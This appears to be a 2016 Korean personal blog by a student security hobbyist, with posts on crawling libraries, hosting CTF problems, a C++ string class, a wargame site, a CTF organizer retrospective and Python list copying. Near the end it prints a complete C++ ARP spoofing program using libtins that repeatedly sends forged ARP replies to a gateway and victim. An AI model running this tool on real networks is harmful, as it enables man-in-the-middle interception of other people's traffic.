크롤러 만드려고 보다가 google은 따로 api를 써야 하는 것 같길래 좀 찾아봤는데

icrawler라고 하는 파이썬 크롤링 라이브러리를 이미 누가 만들어놨더라.


https://pypi.python.org/pypi/icrawler/0.1.5


이런거 한번 제대로 만들어보고 싶다는 생각이 들었다.


미친 짓일지도 모르지만 나중에 C++ 소켓으로 한번 해볼까...

'잡담' 카테고리의 다른 글

MongoDB를 설치해봤다  (0) 2016.05.31
Go Lang을 공부해야겠다  (0) 2016.05.30
KDMHS-CTF 문제들 github에 작성 중  (0) 2016.05.26
사이트를 개발중입니다  (0) 2016.05.19
C++ 연산자 오버로딩을 하면서 느낀점  (0) 2016.05.11
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



내가 낸 문제 소스와 익스플로잇 코드 및 설명을 올리고 있다.

설명은 모두 영어로, 그 이유는 마크다운을 처음 사용해봤는데 한글 폰트가 예쁘지 않아서이다.

물론 마크다운에서도 한글 폰트를 바꾸는 기능이 분명 있을테지만(없으면 말고) 그거 익히기도 귀찮고

솔직히 영어로 쓰는 편이 실력 향상에도 멋에도(...) 도움이 많이 될 것 같다.

https://github.com/skyclad0x7b7/KDMHS-CTF



'잡담' 카테고리의 다른 글

Go Lang을 공부해야겠다  (0) 2016.05.30
icrawler 쓰기 넘나 편하다  (0) 2016.05.27
사이트를 개발중입니다  (0) 2016.05.19
C++ 연산자 오버로딩을 하면서 느낀점  (0) 2016.05.11
미뤄뒀던 공부 진행  (0) 2016.04.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,




https://github.com/skyclad0x7b7/CustomString


 일단 어떻게든 만들어보기는 했는데 예외처리를 덜 한 부분도 있고,

아직 어떻게 처리를 해야 좋을지 몰라서 exit(0) 으로 처리해 버린 부분도 있다.


아직 내부 함수들을 전부 구현하지 못했다. 어서 개발을 진행해야겠다.


# replace 함수는 일단 삭제하는걸로 했다.

간단할 줄 알았는데 생각보다 고려할 사항이 많더라...

일단 지금 급한 일이 많으니 이것부터 처리해야겠다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



외주라던가 그런거 할만큼 웹 개발 실력이 있는 건 아니고,

어쩌다 보니 개인 서버를 하나 갖게 되었는데 이를 그냥 대회나 워게임 풀때만 쓰는 것은 아깝다고 느껴서

이번 기회에 처음부터 끝까지 다 스스로 짜서 워게임 사이트를 하나 만들어 보고자 합니다.


물론 지금까지 디자인에 대해 공부한 적도 없고 감각도 없어서 프론트엔드는 패망의 길을 걷게 될 것 같네요 (._.

(혹시라도 이 글을 보면서 프론트에 자신 있고 도와줄 의향이 있는 분은 댓글이나 skyclad0x7b7@gmail.com으로 연락 바랍니다.)

이미 백엔드의 기능 대부분(문제 업로드, 가입, 로그인, 정답 입력, 랭킹, 푼 문제 표시 등)은 다 구현했으며 남은 것은 디자인의 개선(매우 중요함), My Page와 관리자 페이지, 디자인의 개선(중요하니 두번 말합니다)입니다.


이번에 주최했던 KDMHS-CTF에서 출제했던 문제들을 썩혀 두기도 아깝고, 이 워게임의 문제로 쓸 생각입니다.

물론 플래그는 다 조금씩 바꿔서 넣을 것이니 풀었던 사람도 다시 풀어야 할 겁니다, 후후...

있을지는 모르겠지만 이 사이트에 자신의 이름으로 제작한 워게임이 올라가기를 바라는 사람은 마찬가지로 연락 바랍니다 :)


분야는 확실히 무엇무엇이 있을지 정해 놓지는 않았지만 대충 크게 잡으면


Pwnable, Reversing, Web, Forensic, Algorithm, MISC


이 될 것 같습니다.

추가될 것 같으면 더 넣으면 되니 걱정은 없습니다 :D


문제 마저 추가해야겠네요, 바쁘다 바빠 =3


아, 사이트 주소는 http://5kyc1ad.kr 입니다.

(제발 누가 디자인좀 개선해줘요)

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016 KDMHS-CTF 주최 후기

CTF 2016. 5. 15. 18:46


내가 이렇게 전국적인 단위로 대회를 열고, 출제자 및 운영진이 될 일이 있을 줄은 몰랐다.

내가 알기로 디미고에서 전국 단위로 해킹보안대회를 연 것은 이번이 처음이다.

문제를 출제하면서 알게 된 지식과 교훈이 꽤나 된다.


대회를 참가하는 모든 참가자들의 수준을 고려한 다양한 난이도의 문제를 제작해야 하기 때문에 너무 어렵거나 너무 쉽게 한 쪽에 치중해 버리면 대회가 성립하지 않아 버리는데, 이번에는 처음이었음에도 불구하고 난이도를 적절하게 잘 잡았다고 본다.

대회가 시작하기 전에는 대략 10개정도 되는 문제를 준비해 놓고 있었는데, 너무 수준이 낮거나 운이 필요한 문제들은 가능한 보류하도록 하다 보니 실제로 출제한 수는 그리 많지 않았다.

총 8문제를 내었고, 한 명도 못 푼 문제는 존재하지 않았다.

웹 문제는 아무리 생각해도 그렇게 어렵지 않았는데 한 명씩밖에 풀지 못해서 꽤나 의아한 결과였다.


아직 대회 참가자들의 반응을 제대로 보지 못해서 내 문제에 대한 평가가 어떤지는 모르겠는데 아무쪼록 욕만 먹지 않았으면 좋겠다.

이번에 어쩌다 보니 개인 서버를 하나 얻게 되었는데, 내가 낸 대회 문제들은 거기에 올리고 작동시켜 놓아서 워게임처럼 이후에도 풀 수 있도록 설정해 둘 생각이다.

포너블은 일단 alarm을 설정해서 Connection이 자동으로 종료되도록 설정도 해야 하겠다.


솔직히 요즘 여러 가지 할 일들이 많이 겹쳐서 바쁜데 대회 주최까지 겹쳐서 밤까지 샌 상태로 작업을 하려다 보니 힘들기도 했다.

그래도 생에 처음으로 이런 큰 대회를 주최해 봤고, 많은 경험을 쌓을 수 있었던 것도 정말 좋았다.


문제들을 정말 열심히 풀어주셨던 참가자들께도 감사의 말씀을 드리고 싶다.

이 대회가 내년에도 후배들에 의해 운영될지는 모르겠지만, 기회가 된다면 출제자로 다시 한번 기여해보고 싶다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

pwnable.kr - syscall (200pt)

2016. 5. 12. 17:53

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

생각보다 리턴 하나 해주면서도 고려해야 할 게 많더라

프로그램이 진짜 사소한 거 하나에도 이해할 수 없는 에러로 박살이 나는 경우가 많다

솔직히 여전히 잘 이해가 안 되는 부분이 많기는 하다


예를 들어 operator<< 같은 경우, 인자가 두 개 들어오는데 그중 하나가 stream이다.

이 인자는 << 를 기준으로 왼쪽에 있는 stream을 의미하는 것인지...

그리고 왜 friend로만 재정의가 가능한 것인지.

나중에 알아보도록 하고 일단 만들어 보자.


그리고.


생성자에 멤버 이니셜라이저 잘 쓰자

항상 변수들 초기화해주는거 잊지 말자...

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,



 파이썬을 사용하는 사람이라면 List의 편리함을 아주 잘 알고 있을 것이라고 생각한다. 이번에 파이썬으로 프로그램을 좀 짜던 중, 리스트를 복사해야 하는 일이 생겼는데 늘 해왔던 대로 변수를 복사하듯이 list2 = list1 이런 식으로 대입했더니 list2를 변경하면 list1까지 같이 변경되어버리는 문제가 생겼다. 파이썬이 C 기반으로 만들어진 언어인데, 내부적으로 얕은 복사를 사용하는 모양이었다.



(이런식으로...)



 이 방식을 해결하고 독립적으로 내부 값들을 전부 복사하여 새 리스트를 생성하는 간단한 방법은 다음 두 가지의 방법이 있다.



list2 = list1[:]



list2 = list(list1)



 하지만 위와 같은 방식을 사용하면 겉으로는 깊은 복사처럼 보이지만 리스트 내의 변수를 새로운 리스트에 담아서 주는 것 뿐이기 때문에 리스트 내의 리스트를 사용할 경우 해당 내부의 리스트까지 제대로 깊은 복사가 되지 않는다. 결국은 얕은 복사라는 의미이다. 


(여전히 얕은 복사이다)



이걸 해결하기 위해서는 copy.deepcopy 함수를 사용하면 된다.




블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/***************
*    Author : 5kyc1ad
*    2016.04.26 : 11:52
****************/
 
#include <tins/tins.h>
#include <unistd.h>
 
using namespace Tins;
using namespace std;
 
void arpSpoofing(IPv4Address, IPv4Address);
 
int main(int argc, char *argv[])
{
    if(argc !=3) {
        cout << "[*] Usage : " << argv[0<< " [Gateway] [Victim]" << endl;
        return 1;
    }
    IPv4Address gateway, victim;
    try {
        gateway = argv[1];
        victim = argv[2];
    } catch(...) {
        cout << "[*] Please input arguments correctly" << endl;
        return 1;
    }
    try {
        arpSpoofing(gateway, victim);
    } catch (runtime_error& ex){
        cout << "[*] Runtime Error : " << ex.what() << endl;
        return 1;
    }
    return 0;
}
 
void arpSpoofing(IPv4Address gateway, IPv4Address victim) {
    NetworkInterface iface;
    NetworkInterface::Info info;
    try {
        iface = gateway;
        info = iface.addresses();
    } catch(runtime_error& ex){
        cout << ex.what() << endl;
        return;
    }
 
    PacketSender sender;
    EthernetII::address_type gw_hw, victim_hw;
    gw_hw = Utils::resolve_hwaddr(iface, gateway, sender);
    victim_hw = Utils::resolve_hwaddr(iface, victim, sender);
 
    cout << "[*][*] Attack Configure" << endl;
    cout << "[*] Gateway : " << gateway << ", " << gw_hw << endl;
    cout << "[*] Victim  : " << victim << ", " << victim_hw << endl;
    cout << "[*] Own_IP  : " << info.ip_addr << ", " << info.hw_addr << endl;
 
    ARP arp_toGateway(gateway, victim, gw_hw, info.hw_addr), arp_toVictim(victim, gateway, victim_hw, info.hw_addr);
    arp_toGateway.opcode(ARP::REPLY);
    arp_toVictim.opcode(ARP::REPLY);
 
    // Generate Ethernet Packet for Capsulation
    EthernetII eth_toGateway = EthernetII(gw_hw, info.hw_addr) / arp_toGateway;
    EthernetII eth_toVictim  = EthernetII(victim_hw, info.hw_addr) / arp_toVictim;
 
    cout << "[*][*] Attack Start" << endl;
 
    while(true) {
        sender.send(eth_toGateway, iface);
        sender.send(eth_toVictim, iface);
        clog << "[*] Do ARP Spoofing" << endl;
        sleep(5);
    }
}
cs

'Programming' 카테고리의 다른 글

[C++] std::string 클래스 구현  (0) 2016.05.23
Python List 얕은 복사, 깊은 복사  (0) 2016.04.26
[ARM] Assembly Programming - Hello World!  (0) 2016.04.22
[VHDL] 4-bit Carry Select Adder  (0) 2016.02.17
[VHDL] 4 to 1 Multiplexer  (0) 2016.02.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.